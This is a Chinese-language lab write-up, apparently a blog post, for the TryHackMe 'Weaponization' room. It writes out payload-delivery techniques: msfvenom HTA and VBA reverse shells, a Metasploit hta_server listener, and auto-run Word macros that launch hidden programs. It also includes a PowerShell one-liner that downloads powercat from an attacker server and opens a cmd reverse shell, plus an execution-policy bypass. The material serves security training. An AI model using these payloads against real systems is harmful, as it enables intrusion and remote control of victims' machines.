tryhackme——Weaponization

一、Windows Script Host

1.1 WSH介绍

Windows Script HostWSH)是一个内置的Windows工具,用于运行脚本文件以自动化和管理操作系统内的任务。它可以通过简单的脚本文件(如VBScriptJScript)来执行复杂的任务,比如文件操作、系统配置、用户交互等。

WSH的两个主要组件

  • cscript.exe
    用途:用于在命令行环境中运行脚本。
    特点:适合在没有图形界面的环境下运行,例如服务器环境或自动化脚本任务。
  • wscript.exe
    用途:用于在图形用户界面(UI)环境中运行脚本。
    特点:适合需要用户交互的场景,比如弹出消息框、显示对话框等。

WSH支持多种脚本语言,但最常用的是VBScriptVisual Basic Script)。其中:

  • .vbs:VBScript文件。
  • .vbe:加密的VBScript文件。

关于权限问题VBScript引擎在Windows操作系统上以普通用户的权限级别运行和执行应用程序。由于VBScript可以直接与系统交互,且不需要管理员权限,因此它是一种常见的攻击手段。

示例代码:

# 声明变量
Dim message 
# 变量赋值
message = "Welcome to THM"
# 输出变量
MsgBox message

将上述代码保存为.vbs文件;双击该文件运行,或者在命令行中使用wscript.execscript.exe运行它。
在这里插入图片描述

1.2 使用WSH执行exe文件

Set shell = WScript.CreateObject("Wscript.Shell")
# WScript.CreateObject:创建一个指定的COM对象;
# "Wscript.Shell":Windows提供的一个COM对象,用于与Windows Shell进行交互。
## 通过这个对象,可以执行系统命令、操作文件和文件夹等。
# Set shell = ...:将创建的对象赋值给变量shell

shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName), 0, True
# shell.Run:Wscript.Shell对象的一个方法,用于运行指定的程序或命令。
## "C:\Windows\System32\calc.exe ":exe文件路径
## WScript.ScriptFullName:VBScript内置属性,返回当前脚本文件的完整路径。
# 0:表示运行程序时的窗口状态。0表示隐藏窗口运行。
# True:表示等待程序执行完成后才继续执行脚本。

在这里插入图片描述
如果不允许执行.vbs文件,可以使用下面命令执行.txt后缀的vbs代码:

wscript /e:VBScript cal.txt

在这里插入图片描述

二、HTML Application

2.1 HTA简介

HTML Application(HTA)本质上是一个动态HTML页面,可以包含JScript和VBScript代码。HTA文件可以像普通的HTML文件一样被浏览器解析,但它具有更高的权限,可以执行系统级的操作。HTA文件通常以.hta为扩展名。例如:

<html>
<body>
<script>
	var c = 'cmd.exe';
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
  • var c = 'cmd.exe':定义一个变量c,其值为cmd.exe,表示要执行的命令。
  • new ActiveXObject('WScript.Shell').Run(c)
    • ActiveXObject('WScript.Shell'):创建一个WScript.Shell对象,这是一个COM对象,用于与Windows Shell进行交互。
    • .Run(c):调用Run方法执行变量c中的命令,即cmd.exe。

将上述代码保存为cmd.hta,双击该文件,或者在浏览器(IE可以,火狐似乎不可以)中运行:

mshta cmd.hta

mshta路径:C:\Windows\System32\mshta.exe

在这里插入图片描述

2.2 HTA反向连接

使用msfvenom生成在windows下运行的hta反向shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.92.10 LPORT=443 -f hta-psh -o thm.hta

在这里插入图片描述
服务端监听443端口:

nc -lvp 443
# -l:listen,监听
# -v:verbose,会显示更多的执行过程信息
# -p:port,监听的端口

一旦受害机,运行了exe文件,就会反弹shell。
在这里插入图片描述

2.3 Malicious HTA via Metasploit

msfconsole
use exploit/windows/misc/hta_server
set LHOST 192.168.92.10
set LPORT 443
set SRVHOST 192.168.92.10
set payload windows/meterpreter/reverse_tcp
run

需要受害者访问http://192.168.92.10:8080/n7SZ6xk7aYujPVi.hta,并运行hta文件。
在这里插入图片描述

三、Visual Basic for Applications

3.1 VBA简介

VBA是一种编程语言,由微软开发,用于在其应用程序(如 Word、Excel、PowerPoint 等)中实现自动化任务。

是包含VBA代码的Microsoft Office应用程序。它本质上是一个脚本,用于执行一系列预定义的操作。

安全风险:由于VBA和宏可以访问底层系统功能,攻击者可能会利用它们来创建恶意文档。这些文档可能包含恶意代码,当用户打开文档并启用宏时,恶意代码就会执行。

以下代码是一个简单的VBA(Visual Basic for Applications)宏,它的作用是弹出一个消息框,显示一条欢迎信息。

Sub THM()
# Sub:定义函数的关键字,格式:Sub <函数名>(<传参>)
  MsgBox ("Welcome to Weaponization Room!")
  # MsgBox:显示消息框的函数
End Sub
# End Sub:结束函数的关键字

视图->宏中,命名Macro name,再create即可。
在这里插入图片描述
输入上述代码后,按F5即可运行。
在这里插入图片描述

以下代码是VBA(Visual Basic for Applications)代码,用于在Microsoft Word文档打开时自动执行某些操作。

# Document_Open():特殊的VBA事件处理程序,用于在文档被打开时自动执行代码。
## 当用户打开包含此宏的Word文档时,Document_Open事件会被触发。
Sub Document_Open()
  # 调用子程序THM
  THM 
End Sub

# AutoOpen():特殊的VBA事件处理程序,用于在文档被打开时自动执行代码。
# 使用该函数是为了兼容早期的word版本
Sub AutoOpen()
  THM
End Sub

Sub THM()
   MsgBox ("Welcome to Weaponization Room!")
End Sub

将上述VBA代码保存后,保存word文件,文件类型为Word 97-2003 Document.
在这里插入图片描述
关闭word后,打开刚刚保存的thm.doc文件,将会自动触发。
在这里插入图片描述

# Document_Open():特殊的VBA事件处理程序,用于在文档被打开时自动执行代码。
## 当用户打开包含此宏的Word文档时,Document_Open事件会被触发。
Sub Document_Open()
  # 调用子程序THM
  THM 
End Sub

# AutoOpen():特殊的VBA事件处理程序,用于在文档被打开时自动执行代码。
# 使用该函数是为了兼容早期的word版本
Sub AutoOpen()
  THM
End Sub

Sub THM()
	# Dim:声明一个变量。
	# payload:变量的名称,这里用来存储要运行的程序路径或命令。
	# As String:指定变量的类型为字符串。
	Dim payload As String
	payload = "calc.exe"
	# CreateObject:VBA创建一个COM对象的函数
	# .Run <para 1>,<para 2>:调用Wscript.Shell对象的Run方法
	# 0:程序在后台运行,不会显示窗口
	CreateObject("Wscript.Shell").Run payload,0
End Sub

请添加图片描述
重新打开就会弹计算器。
在这里插入图片描述

3.2 VBA反弹shell

# 生成反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.10 LPORT=443 -f vba
## 正常输出只能在excel中运行,需要将Workbook_Open()改为Document_Open()
## 这里输出的只是VBA脚本,需要将其写入word的宏中

# -q:隐藏启动时的欢迎信
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.92.10
set LPORT 443
run

四、Powershell

4.1 Powershell简介

PowerShell是一种面向对象的编程语言,它在.NET的动态语言运行时(DLR)中执行。

# Write-Output是PowerShell的一个内置命令(也称为 cmdlet),用于将对象发送到管道(pipeline)的下一个命令,或者直接输出到控制台。
# 在没有后续命令的情况下,Write-Output会将指定的内容输出到控制台。
Write-Output "Welcome to the Weaponization Room!"

将上述脚本保存为thm.ps1,使用如下命令运行:

powershell -File thm.ps1

在这里插入图片描述

4.2 Powershell执行策略

PowerShell的执行策略是一种安全机制,用于控制哪些PowerShell脚本可以在系统上运行。默认情况下,Microsoft 禁用了 PowerShell 脚本的运行,默认的执行策略是Restricted,该策略允许用户在PowerShell控制台中逐条运行单个命令,但不允许运行任何脚本文件(.ps1文件)。执行策略会报如下错误:
在这里插入图片描述
除了Restricted执行策略外,还有其他执行策略:

  • AllSigned:要求所有脚本和配置文件必须由受信任的发布者签名,如果脚本没有签名或签名不可信,则无法运行,
  • RemoteSigned:允许运行本地创建的脚本,但远程下载的脚本必须由受信任的发布者签名。
  • Unrestricted:允许运行所有脚本,无论是否签名。

解决方法:

# 查看当前执行策略
Get-ExecutionPolicy
# 更改执行策略
## Set-ExecutionPolicy:更改PowerShell的执行策略;
## -Scope CurrentUser:指定更改的范围是当前用户;
## RemoteSigned:允许运行本地创建的脚本,但远程下载的脚本必须由受信任的发布者签名。
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

也可以使用下面方法绕过执行策略:

# -ex bypass:绕过PowerShell的执行策略限制并运行脚本
powershell -ex bypass -File thm.ps1

4.3 Powershell版反弹shell

下载powershell版的反弹shell:

git clone https://github.com/besimorhino/powercat.git

在攻击机上开启HTTP服务:

cd powercat
python3 -m http.server 8080

在这里插入图片描述
攻击机使用nc监听1337端口:

nc -lvp 1337

在受害机上执行下面的powershell脚本:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.92.10:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"
  • powershell -c

    • powershell:启动PowerShell环境。
    • -c:这是-Command参数的简写形式,用于执行指定的命令。
  • IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1')

    • IEX:这是Invoke-Expression的简写形式,用于执行字符串中的PowerShell命令。
    • New-Object System.Net.WebClient:创建一个System.Net.WebClient对象,用于从网络下载文件。
    • .DownloadString('http://192.168.92.10:8080/powercat.ps1'):使用WebClient对象从指定的URL下载文件。
  • powercat -c ATTACKBOX_IP -p 1337 -e cmd

    • powercat:这是一个类似于nc(Netcat)的工具,用于网络通信。它通常用于建立网络连接,传输数据等。
    • -c 192.168.92.10:指定连接的目标IP地址,这里是攻击者的服务器IP。
    • -p 1337:指定连接的目标端口,这里是 1337 端口。
    • -e cmd:指定在建立连接后执行的程序,这里是 Windows 的命令提示符(cmd)。

五、Practice

使用MSF创建一个HTA链接:

msfconsole
use exploit/windows/misc/hta_server
set LHOST 10.6.37.112
set LPORT 443
set SRVHOST 10.6.37.112
set payload windows/meterpreter/reverse_tcp
run

访问靶机http://10.10.197.137:8080send恶意的hta连接即可(后端会自动运行)
在这里插入图片描述
为获得更加稳定的进程,使用下面命令将当前恶意进程注入到另一个正常进程中:

# 将 Meterpreter 会话从当前进程迁移到另一个进程
run post/windows/manage/migrate

# windows查看txt文件
type a.txt

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值